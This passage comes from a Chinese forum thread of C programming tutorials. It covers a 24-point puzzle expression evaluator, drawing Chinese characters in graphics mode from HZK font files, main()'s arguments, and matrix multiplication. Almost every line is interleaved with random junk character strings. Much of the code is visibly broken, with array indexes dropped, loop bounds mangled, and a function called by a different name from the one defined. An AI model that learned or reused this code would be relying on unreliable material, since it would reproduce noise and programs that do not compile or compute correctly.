6 Q+ Z5 b; Q$ R! r* X* _$ |/ C* Rreturn(p);: u& B- l5 h! t; C) k
}* S+ |( I& E3 B
/* 此函数实现中缀到后缀的转换 */' v6 |7 d  z2 n: `' R
/* M的值宏定义为20 */
9 J1 t8 X8 m* j( y/* sp[]为表达式数组 */2 |1 z8 X% A0 b
int mid_last()
4 J8 Y4 s) l1 V/ k; h{ int i=0,j=0; char c,sm[M];/ K3 t. S* v$ w3 T+ f2 q
c=s[0]; sm[0]='='; top=0;
4 f" D$ \0 a6 u' T3 Wwhile(c!='\0')
+ [; a+ b  l& M( i$ e+ Q2 p{ if(islower(c)) sp[j++]=c;4 d9 z6 l: O; S4 V5 k
else switch(c)* N1 T4 i, f* J) a9 F$ d
{ case '+':! o' E' I  ?3 E5 ?
case '-':
: R& X/ g2 U# J8 X$ Z7 Fcase '*':. C$ s2 p' i% b# O3 {
case '/': while(first(c)&lt;=first(sm[top]))
9 v6 W2 }# M6 ^2 u5 l9 Asp[j++]=sm[top--];
; X1 c% @; S- y: ]4 ]sm[++top]=c; break;! X# b& Y) b$ u+ G$ w' Q1 z( a
case '(': sm[++top]=c; break;& }4 N: g: a0 W& c! h
case ')': while(sm[top]!='(')
! L5 g) z$ A; y7 q5 Ssp[j++]=sm[top--];
6 C, F+ Y; _0 p+ C( [: K+ k" z; y+ _top--; break;" k# V  c: O+ @) H( A
default :return(1);
9 W4 T% f' M% W9 M}; b. @6 R8 g# v+ g, x( v
c=s[++i];
+ u! h8 t' ~9 E0 B* P  A}
" f' G4 q& F+ pwhile(top&gt;0) sp[j++]=sm[top--];
0 F) I& C) S$ c9 D( B8 g* Isp[j]='\0'; return(0);: E) s+ f! ?3 F* ?& n# b1 S
}
/ q3 M% V- \6 W: j. H/ `: V7 @/* 由后缀表达式来计算表达式的值 */
0 @% f2 V9 ^$ Z* A( x: u- v5 Yint calc()1 [) T$ [, c2 I# j! H
{ int i=0,sm[M],tr; char c;
& Q4 u1 C) b* u2 M8 G1 Ac=sp[0]; top=-1;
; q  o9 T) T' {' Ewhile(c!='\0')
+ {) ]. ~1 L3 r1 C9 ?{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,' K8 ]% q7 Q+ B  q( M2 D
这样才可以更方便的处理非一位数, / z+ D# {. q) e- T7 P
ver数组中存放着这些字母所代替的数*/
5 j; x. U# |6 X; o: u( Celse switch(c)$ L. w5 q% u& m; Y, R% `# M9 I
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
6 K& g, I8 a8 Icase '-': tr=sm[top--]; sm[top]-=tr; break;9 E, y* G( G/ R; v- G" F
case '*': tr=sm[top--]; sm[top]*=tr; break;  A: d* D" A5 E# C
case '/': tr=sm[top--];sm[top]/=tr;break;
4 Z: L1 @6 ]" F! D. h' Ndefault : return(1);: }9 O' f6 k% `+ c  a# h- i* l, O
}
( k( G2 p2 h1 C2 Oc=sp[++i];
8 i+ A0 ^. `# K3 d. N5 H}
9 J6 X3 e  H/ Lif(top&gt;0) return(1);7 Z, M3 {+ x' _" X# x4 T9 g0 r
else { result=sm[top]; return(0); }
3 d( p& Z; `% j" ?. H}
! ]% K4 D' |! X/ L# F3 p</FONT>6 q9 ?6 S8 _+ F7 B% M3 g0 o4 H
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
8 ]7 J; J/ t% O7 U( c7 y% m" @# c( J1 K& C! T% m3 R
  最后我总结了一下这其中容易出错的地方——
3 R( y% W* R/ `( o
; u9 ]. D& z* U: G" I& h3 c5 f  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
. X0 Q- T* @4 x) @% L1 Q; L( d* ?  i% f6 e: t0 G# z" w
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
2 k2 ]- i+ y$ H0 F/ {7 @! b2 t/ b: a
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
( s' D, E2 \. O& w; c2 T# G/ u$ Y, r9 s" c
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。. p) F3 b- h8 `7 V6 ^
3 {& q3 E  w; P
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。) N$ x$ ^  j+ R
- u- u) f" d, B# V$ Z
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。4 b+ P1 i9 e! T. O# R
' G4 q8 J+ K, Z( e! C- {! W
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
6 S% H' E2 N( I: d  ^  a6 c* Y</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
, N* J: o" d  x) {8 t2 J3 ^1 {  {图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}6 B0 E6 a4 q9 A
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。+ K+ F# j0 x6 s' J: E9 w# t3 z9 [  X# d* H
  汉字显示的第一步是打开字库文件。
# F3 R- D6 T5 a  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
, t& s+ x( }* Q5 o0 v% H) B  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
% H- |2 Y( N( {/ I{
8 @. A3 N. H" [! L# G/ N5 e9 ounsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
4 E3 A# r9 q4 ?& R9 Eint rec,i1,i2,i3; /*z:space between;*/. q, q% a  a1 b+ f9 J* ^2 [
long l; /*color:txt color*/) F3 W8 n# \, ^9 z/ L0 \. R9 ?- q
char by[32]; /*p:HZ str*/
# @$ p6 l, U1 @& i' c" ^if( handle&lt;0 ) return -1; while((i=*p++)!=0){
6 a- [$ i4 e/ ]6 L$ |% ^0 Hif(i&gt;0xa1)8 G9 F( w, Q$ f) K5 u1 e# a
if(f==0){
" x! f' }1 w) M# v, rc1=(i-0xa1)&amp;0x07f;
4 O" A7 o6 Y9 p6 @  uf=1;! k2 }. ]+ @, R$ V9 h
}
2 J2 m$ Q- h5 v. qelse{
. z" D  G5 x4 o5 s: c. b; L' S9 Dc2=(i-0xa1)&amp;0x07f;1 h1 t0 `" ?0 u
f=0;0 q  N) c* O* n' \( R
rec=c1*94+c2;+ B. u# o( r% h" y' m+ _
l=rec*32L;; s8 I' R, S6 b8 D8 U7 L/ a- t
lseek(handle,l,SEEK_SET);
4 B$ q$ p6 [( l5 V" @read(handle,by,32);  \9 D. A& o; H( s7 o1 M1 v
for(i1=0;i1&lt;16;i1++)
8 K( i  v, g7 e4 b0 Rfor(i2=0;i2&lt;2;i2++)
0 [( S- S, [# Q5 H; vfor(i3=0;i3&lt;8;i3++)/ X& L- o8 j4 |0 C' E
if(GetBit(by[i1*2+i2],7-i3))% C( P3 [! `0 H0 Q% e. N
putpixel(x+i2*8+i3,y+i1,color);( L2 y# q, j/ g) K/ z  R
x=x+z+16;& t$ }2 {' e  ^
}& X8 s! `2 q0 O/ T! Z0 N5 @
}8 R+ e4 v& V6 O$ Y6 `
return(x);  p+ x& v& }2 |# D% \. I3 g0 P
}
! B5 {, P$ x0 X$ D% ?. v( U函数GetBit定义如下:
3 W5 j! b# H3 S1 p# R7 |$ D! c  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
- D2 ]) d4 N+ y1 P, z. Rint GetBit(unsigned char c,int n)
& @* F! k/ t7 z; h) Q{
( a6 f; Z+ Y  f& A* xreturn((c&gt;&gt;n)&amp;1);
2 i7 O1 m: }! b7 y}$ Z* V2 l8 _' e' _" G
汉字显示结束,应该关闭字库文件。
( A5 ?, Z6 G7 rvoid CloseHz(void)
- z* h. B9 V& n2 Z! p" X' W; u$ U3 e{
5 s- Q/ W/ K; a3 J2 Nclose( handle );
3 {! N) H9 C8 @( O6 P+ S. a* @}# d" E& ^* v( G  S& d$ ?9 l
#include "\Caic\Include\Hz.h"3 G/ w" Y0 }3 K7 T3 c; v2 d6 u
#include <GRAPHICS.H>
! F6 |0 @( q/ J% p/ I  H#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
; t5 q, f, z) f/ j  Sconst char* HzStr = "苦丁香C语言辅助学习软件";( V0 C/ Y/ S, Q% E, t  v" w
void main(){, q/ Y' ^1 L% o, ^
int gr=DETECT,gm;# ^7 n( m2 o: ]" ^2 c, Y# H
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
3 }" c5 B2 {  B" OOpenHz( Hz16Path );) X9 G5 z* \8 {0 f9 r- ~% E
Wrt16Hz(20,20,4,RED,HzStr);! [9 @( l4 H9 R) c+ w- E& Q7 k
CloseHz();, T# `5 {, a( ~. Q
getch();* @" Z9 q* y3 W
closegraph();
$ F  X' c: R$ |% ]" t% V}显示24点阵及放大汉字
; y3 S2 {: T8 [0 X0 `/ s! {, V% \' G  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。1 z$ U6 Q. \( z
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。6 {6 S: F  W3 y- o
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)1 u2 c% r, F% V0 L6 P" O
{/ V! t4 i2 j  F
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/: D4 ^) b, R, d3 A4 j, @- \/ k
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/8 I" c4 R; h4 L& V4 y& O
long l; /*color:汉字颜色*/  @& k  n) K8 `
char by[72]; /*m: x 方向的放大倍数*/' t7 c# ~5 z* [# N8 P
/*n: y 方向的放大倍数*/3 i. e( t' ]9 ?) q
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){: n8 r- c3 U0 g6 i2 }4 c5 ^
if(i&gt;0xa1)8 y2 d, w' n. O% L
if(f==0){
+ @/ r0 D" c4 A. Z! `c1=(i-0xa1)&amp;0x7f;2 d3 e5 W/ w0 _- T: _- [
f=1;
6 q+ o5 i2 L- _+ d8 Y( ]1 ^}
- F" Z8 h7 e( P- p( Telse{) J6 g  D4 ]0 Q0 _, C- y5 w* w* e. H+ V
c2=(i-0xa1)&amp;0x7f;
3 K" K, x: G5 d6 M: if=0;4 k6 o* @$ l4 i
rec=(c1-15)*94+c2;
( |. N1 k' a: K( d5 el=rec*72L;
: C3 c& E! i" u# U$ ulseek(handle,l,SEEK_SET);7 J6 i( F. y  Q
read(handle,by,72);$ m1 Q7 x: j6 Q: I2 e; Y5 S
for(i1=0;i1&lt;24*m;i1=i1+m)7 B% E" y+ V7 [' b' H
for(i4=0;i4<M;I4++)- K6 G, _9 w& j% {- A3 R
for(i2=0;i2&lt;=2;i2++)" y7 x1 F- [5 F" ^4 L
for(i3=0;i3&lt;8;i3++)
6 f8 }5 q! O# Cif(GetBit(by[i1/m*3+i2],7-i3))6 Z8 T: Y  V( G* x1 C8 s& @
for(i5=0;i5<N;I5++)3 B$ ^. B$ Z* T0 m2 X7 w( `$ k/ ~
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
2 A% M. j( Z6 g' x4 F4 B" ], Sx=x+24*m+z;1 n' O% H/ n! J% P% X( M5 d0 v
}
0 M* K( A; H6 u+ T: m5 e}
" L7 G& O! J- F5 b- U& a$ jreturn(x);
' s  I& \9 A& }* x4 M} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
2 {$ `; G' @& z* ~& O! F#include <GRAPHICS.H># ~0 o$ e. N; S8 ^4 @' e; P. W
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s.", d2 R$ C% i' g+ A$ o1 e
const char* HzStr = "苦丁香C语言辅助学习软件";
8 r# D* g. d, S+ Mvoid main(){
0 ^  m" J- ~( B0 k+ _- N4 eint gr=DETECT,gm;& [& r- R. y# N. c% p
initgraph(&amp;gr,gm,"\\Caic\\Bgi");& A( M/ s; V5 b! f. {+ t( w
OpenHz( Hz24Path );; m) O( Y' o2 ~/ s2 C9 q
Wrt24Hz(20,20, /*先是在(x,y)*/
8 Q7 M. B9 W' |' j$ J4, /*汉字间的空格为4*/
  D9 m9 |) L! [8 Y# ~$ lRED, /*用红色显示*/8 A+ a4 p" z- d6 m0 g* W0 c% y5 U; p
2, /*x 方向放大2倍*/
! Z/ A) \7 s/ y1 N4, /*y 方向放大4倍*/( c+ M  X6 L. e, j. o
HzStr); /*显示字符串*/7 ?! o* S! q' [5 O- p7 t
CloseHz();# i. [4 M! D+ e7 z2 \% u
getch();
; J3 p( Z% Q, J- n% }( kclosegraph();8 g, u  m3 v; U  @: R0 p1 F
} - f" M9 Z- }8 v* |9 O9 A
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数5 o! \6 g/ `7 ^" T3 t2 ^
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
, }# l' R: h7 l+ @) v9 {; J# z1. main() 参数, ~. d% Q3 ~5 L" u3 v
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
+ q/ m; ?) r, L# n- j& a  * argc: 整数,为传给main()的命令行参数个数。
2 M6 S, b- j4 [" V4 C, f( ]( W9 O: ?8 D  * argv: 字符串数组。
+ j! v2 K8 Z- h0 s( g在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
/ O4 m+ \( I) |' {- @. `9 K# g对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;% Z! Q# j2 ?' x# u2 N; ]% `
...* e! q7 ?5 D$ x4 H; U  b
argv[argc]为NULL。! S* q1 K0 N( c
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
4 K6 m; z' s: Y$ u! K值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
3 L7 y* y" S# I/ ^#include&lt;stdio.h&gt;
; q: {3 N9 M; b( K#include&lt;conio.h&gt;
' k4 i' m7 y; ]) [#define X 3( e/ t% m+ ]* X( [, \/ {! V5 ]
#define Y 3</P><>int a[X][Y];7 a! K: b. E" [$ ~+ N
int b[X][Y];
+ y3 V* `; K7 Vint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);0 Q* K; j% h/ i! U5 o
main()$ r. S4 t* H* d0 I& E4 ^0 P; Q
{$ {3 K9 f1 A2 E7 j
int i,j,temp;6 X& b+ i7 v3 {# f+ A. X
clrscr();2 W2 d* u7 g4 n2 \: R4 |4 G
printf("lease input int matrix b[%d][%d]\n",X,Y);6 G6 t$ {0 e/ X' r& @1 R
for(i=0;i&lt;Y;i++)4 g" s' U  P4 O
for(j=0;j&lt;Y;j++){
* d0 L" c0 O6 {( \7 L9 {scanf("%d",&amp;temp);8 j2 i8 p; B$ ^) ^
b[j]=temp;* ~  o% f) G9 M2 ?$ i- y" \; ]2 p, r
}5 X5 p2 @; Z- b  \1 b
printf("lease input int matrix c[%d][%d]\n",X,Y);  C$ T! ]- K" M4 G. d: e( w# [  E- o
for(i=0;i&lt;X;i++)
/ R+ G3 _. b0 vfor(j=0;j&lt;Y;j++){7 W' C/ [8 E" t
scanf("%d",&amp;temp);) o6 M- ~$ D3 e. V
c[j]=temp;
0 r6 o) k, \2 u}7 w0 l7 R1 B( T4 t2 ]
matrix(b,c);  n+ Y3 a% G7 [' R9 `: O/ p
printf("Now print resource matrix b[%d][%d]=",X,Y);2 K' E8 e5 h" _" I2 B" P; F
for(i=0;i&lt;X;i++){
0 u9 T8 S: z  Jprintf("\n");
. i  C0 [/ q- H" j5 Vfor(j=0;j&lt;Y;j++)4 s# w7 G/ p. g) W9 r% m
printf("%d ",b[j]);* ]# g4 W0 P5 s% }& `0 K& f/ ^: @
}
- ?* A& L1 w. V/ g, \printf("\n");* D' N7 z, C- p' a% v" V+ F
printf("Now print resource matrix c[%d][%d]=",X,Y);1 ^; h) ~: E/ ]1 T! a+ [7 c
for(i=0;i&lt;X;i++){0 J8 `- n& m# H1 G# ]( U
printf("\n");& T% f$ z# ?0 a! ^% w& K
for(j=0;j&lt;Y;j++); e5 n. K8 H7 \$ J$ B  o
printf("%d ",c[j]);
' ~; Z: |1 S# Z$ X# x}
3 p1 [2 C( u, B: Z6 uprintf("\n");. |; u% i+ n; R/ m, h$ {
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
: j& ]# H& o, L# D8 P- rfor(i=0;i&lt;X;i++){( @. x" T+ V0 Q, R) k& f$ x
printf("\n");
! T, C! e- q  I/ F7 bfor(j=0;j&lt;Y;j++)- H4 U1 W: ^6 O; r4 R
printf("%d ",a[j]);, a& [4 s; k$ p, x; D
}$ v8 d: z' b5 b' E
getch();+ t2 S  ?0 K3 g1 ~; S: i) s
return 0;
$ o* j" T/ t0 O7 p/ [1 U0 z}
0 @- v3 C( j! j8 n1 k% y/********************************************************************/
$ @( S! B, h* \; b) V, pvoid matrix(int b[][X],int c[][Y])1 P; p4 W7 V! Y, B
{
+ a  b' k/ S1 f# R$ u+ U0 U$ z. _int i,j,k,temp;
9 k9 ^/ w0 b7 ]2 X3 p; X: Mfor(i=0;i&lt;X;i++)- M, a: a% J. X. u
for(j=0;j&lt;Y;j++){- F. _  B% z% g+ x
for(k=0;k&lt;Y;k++)
  ~: ?5 A' _& ca[j]+=b[k]*c[k][j];
# W4 P% F7 K1 Q' c* I' Q}
- A9 I( R5 {( X; h4 l, p1 l5 b4 i: `}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 15:38 , Processed in 1.643204 second(s), 90 queries .

回顶部